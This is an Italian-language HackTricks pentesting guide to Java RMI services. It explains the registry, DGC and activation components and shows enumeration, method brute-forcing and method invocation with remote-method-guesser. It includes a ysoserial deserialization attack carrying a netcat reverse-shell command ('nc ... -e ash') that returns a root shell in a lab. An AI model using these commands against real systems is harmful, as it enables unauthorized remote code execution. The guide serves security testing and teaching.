# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP {{#include ../banners/hacktricks-training.md}} ## Informazioni di base _Java Remote Method Invocation_, o _Java RMI_, è un meccanismo _RPC_ orientato agli oggetti che consente a un oggetto situato in una _Java virtual machine_ di chiamare metodi su un oggetto situato in un'altra _Java virtual machine_. Questo consente agli sviluppatori di scrivere applicazioni distribuite utilizzando un paradigma orientato agli oggetti. Un'introduzione breve a _Java RMI_ da una prospettiva offensiva può essere trovata in [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202). **Porta predefinita:** 1090,1098,1099,1199,4443-4446,8999-9010,9999 ``` PORT STATE SERVICE VERSION 1090/tcp open ssl/java-rmi Java RMI 9010/tcp open java-rmi Java RMI 37471/tcp open java-rmi Java RMI 40259/tcp open ssl/java-rmi Java RMI ``` Di solito, solo i componenti predefiniti _Java RMI_ (il _RMI Registry_ e il _Activation System_) sono associati a porte comuni. Gli _oggetti remoti_ che implementano l'applicazione _RMI_ effettiva sono solitamente associati a porte casuali come mostrato nell'output sopra. _nmap_ ha a volte difficoltà a identificare i servizi _RMI_ protetti da _SSL_. Se incontri un servizio ssl sconosciuto su una porta _RMI_ comune, dovresti indagare ulteriormente. ## Componenti RMI Per dirla in termini semplici, _Java RMI_ consente a uno sviluppatore di rendere un _oggetto Java_ disponibile sulla rete. Questo apre una porta _TCP_ a cui i client possono connettersi e chiamare metodi sull'oggetto corrispondente. Anche se sembra semplice, ci sono diverse sfide che _Java RMI_ deve affrontare: 1. Per inviare una chiamata a un metodo tramite _Java RMI_, i client devono conoscere l'indirizzo IP, la porta di ascolto, la classe o interfaccia implementata e l'`ObjID` dell'oggetto target (l'`ObjID` è un identificatore unico e casuale che viene creato quando l'oggetto viene reso disponibile sulla rete. È necessario perché _Java RMI_ consente a più oggetti di ascoltare sulla stessa porta _TCP_). 2. I client remoti possono allocare risorse sul server invocando metodi sull'oggetto esposto. La _Java virtual machine_ deve tenere traccia di quali di queste risorse sono ancora in uso e quali possono essere raccolte come spazzatura. La prima sfida è risolta dal _RMI registry_, che è fondamentalmente un servizio di denominazione per _Java RMI_. Il _RMI registry_ stesso è anche un _RMI service_, ma l'interfaccia implementata e l'`ObjID` sono fissi e noti a tutti i client _RMI_. Questo consente ai client _RMI_ di consumare il _RMI registry_ semplicemente conoscendo la corrispondente porta _TCP_. Quando gli sviluppatori vogliono rendere i loro _oggetti Java_ disponibili all'interno della rete, di solito li associano a un _RMI registry_. Il _registry_ memorizza tutte le informazioni necessarie per connettersi all'oggetto (indirizzo IP, porta di ascolto, classe o interfaccia implementata e valore `ObjID`) e le rende disponibili sotto un nome leggibile dall'uomo (il _bound name_). I client che vogliono consumare il _RMI service_ chiedono al _RMI registry_ il corrispondente _bound name_ e il registry restituisce tutte le informazioni necessarie per connettersi. Pertanto, la situazione è fondamentalmente la stessa di un normale servizio _DNS_. Il seguente elenco mostra un piccolo esempio: ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; import lab.example.rmi.interfaces.RemoteService; public class ExampleClient { private static final String remoteHost = "172.17.0.2"; private static final String boundName = "remote-service"; public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name String response = ref.remoteMethod(); // Call a remote method } catch( Exception e) { e.printStackTrace(); } } } ``` La seconda delle sfide sopra menzionate è risolta dal _Distributed Garbage Collector_ (_DGC_). Questo è un altro _RMI service_ con un valore `ObjID` ben noto ed è disponibile praticamente su ogni _RMI endpoint_. Quando un _RMI client_ inizia a utilizzare un _RMI service_, invia un'informazione al _DGC_ che il corrispondente _remote object_ è in uso. Il _DGC_ può quindi tenere traccia del conteggio dei riferimenti ed è in grado di pulire gli oggetti non utilizzati. Insieme al deprecato _Activation System_, questi sono i tre componenti predefiniti di _Java RMI_: 1. Il _RMI Registry_ (`ObjID = 0`) 2. L' _Activation System_ (`ObjID = 1`) 3. Il _Distributed Garbage Collector_ (`ObjID = 2`) I componenti predefiniti di _Java RMI_ sono stati noti vettori di attacco per un bel po' di tempo e esistono più vulnerabilità in versioni obsolete di _Java_. Dal punto di vista di un attaccante, questi componenti predefiniti sono interessanti, perché implementano classi / interfacce note ed è facilmente possibile interagire con essi. Questa situazione è diversa per i _RMI services_ personalizzati. Per chiamare un metodo su un _remote object_, è necessario conoscere in anticipo la corrispondente firma del metodo. Senza conoscere una firma di metodo esistente, non c'è modo di comunicare con un _RMI service_. ## RMI Enumeration [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) è un _Java RMI_ vulnerability scanner che è in grado di identificare automaticamente le comuni _RMI vulnerabilities_. Ogni volta che identifichi un _RMI_ endpoint, dovresti provarlo: ``` $ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534] [+] - legacy-service [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206] [+] - plain-server [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] [+] RMI server codebase enumeration: [+] [+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/) [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> de.qtc.rmg.server.interfaces.IPlainServer [+] [+] RMI server String unmarshalling enumeration: [+] [+] - Caught ClassNotFoundException during lookup call. [+] --> The type java.lang.String is unmarshalled via readObject(). [+] Configuration Status: Outdated [+] [+] RMI server useCodebaseOnly enumeration: [+] [+] - Caught MalformedURLException during lookup call. [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). [+] Configuration Status: Non Default [+] [+] RMI registry localhost bypass enumeration (CVE-2019-2684): [+] [+] - Caught NotBoundException during unbind call (unbind was accepeted). [+] Vulnerability Status: Vulnerable [+] [+] RMI Security Manager enumeration: [+] [+] - Security Manager rejected access to the class loader. [+] --> The server does use a Security Manager. [+] Configuration Status: Current Default [+] [+] RMI server JEP290 enumeration: [+] [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). [+] Vulnerability Status: Non Vulnerable [+] [+] RMI registry JEP290 bypass enmeration: [+] [+] - Caught IllegalArgumentException after sending An Trinh gadget. [+] Vulnerability Status: Vulnerable [+] [+] RMI ActivationSystem enumeration: [+] [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default ``` L'output dell'azione di enumerazione è spiegato in maggior dettaglio nelle [pagine di documentazione](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) del progetto. A seconda del risultato, dovresti cercare di verificare le vulnerabilità identificate. I valori `ObjID` visualizzati da _remote-method-guesser_ possono essere utilizzati per determinare il tempo di attività del servizio. Questo può consentire di identificare altre vulnerabilità: ``` $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] [+] ObjNum: -4004948013687638236 [+] UID: [+] Unique: 1442798173 [+] Time: 1640761503828 (Dec 29,2021 08:05) [+] Count: -32760 ``` ## Bruteforcing Remote Methods Anche quando non sono state identificate vulnerabilità durante l'enumerazione, i servizi _RMI_ disponibili potrebbero comunque esporre funzioni pericolose. Inoltre, nonostante la comunicazione _RMI_ con i componenti predefiniti _RMI_ sia protetta da filtri di deserializzazione, quando si parla con servizi _RMI_ personalizzati, tali filtri di solito non sono presenti. Conoscere le firme dei metodi validi sui servizi _RMI_ è quindi prezioso. Sfortunatamente, _Java RMI_ non supporta l'enumerazione dei metodi sugli _oggetti remoti_. Detto ciò, è possibile forzare le firme dei metodi con strumenti come [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) o [rmiscout](https://github.com/BishopFox/rmiscout): ``` $ rmg guess 172.17.0.2 9010 [+] Reading method candidates from internal wordlist rmg.txt [+] 752 methods were successfully parsed. [+] Reading method candidates from internal wordlist rmiscout.txt [+] 2550 methods were successfully parsed. [+] [+] Starting Method Guessing on 3281 method signature(s). [+] [+] MethodGuesser is running: [+] -------------------------------- [+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists! [+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists! [+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists! [+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists! [+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists! [+] [6562 / 6562] [#####################################] 100% [+] done. [+] [+] Listing successfully guessed methods: [+] [+] - plain-server2 == plain-server [+] --> String execute(String dummy) [+] --> String system(String dummy, String[] dummy2) [+] - legacy-service [+] --> void logMessage(int dummy1, String dummy2) [+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) [+] --> String login(java.util.HashMap dummy1) ``` I metodi identificati possono essere chiamati in questo modo: ``` $ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar [+] uid=0(root) gid=0(root) groups=0(root) ``` Oppure puoi eseguire attacchi di deserializzazione in questo modo: ``` $ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)" [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI endpoint... [+] [+] Using non primitive argument type java.lang.String on position 0 [+] Specified method signature is String execute(String dummy) [+] [+] Caught ClassNotFoundException during deserialization attack. [+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea. [+] Deserialization attack probably worked :) $ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45479. id uid=0(root) gid=0(root) groups=0(root) ``` Maggiore informazione può essere trovata in questi articoli: - [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/) - [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md) - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [rmiscout](https://bishopfox.com/blog/rmiscout) Oltre a indovinare, dovresti anche cercare nei motori di ricerca o su _GitHub_ per l'interfaccia o anche l'implementazione di un servizio _RMI_ incontrato. Il _bound name_ e il nome della classe o interfaccia implementata possono essere utili qui. ## Interfacce Conosciute [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) segna classi o interfacce come `known` se sono elencate nel database interno dello strumento di servizi _RMI_ conosciuti. In questi casi puoi usare l'azione `known` per ottenere maggiori informazioni sul corrispondente servizio _RMI_: ``` $ rmg enum 172.17.0.2 1090 | head -n 5 [+] RMI registry bound names: [+] [+] - jmxrmi [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) [+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585] $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html) [+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi) [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) ``` ## Shodan - `port:1099 java` ## Tools - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [rmiscout](https://github.com/BishopFox/rmiscout) - [BaRMIe](https://github.com/NickstaDB/BaRMIe) ## References - [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ## HackTricks Comandi Automatici ``` Protocol_Name: Java RMI #Protocol Abbreviation if there is one. Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one. Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out Entry_1: Name: Enumeration Description: Perform basic enumeration of an RMI service Command: rmg enum {IP} {PORT} ``` {{#include ../banners/hacktricks-training.md}}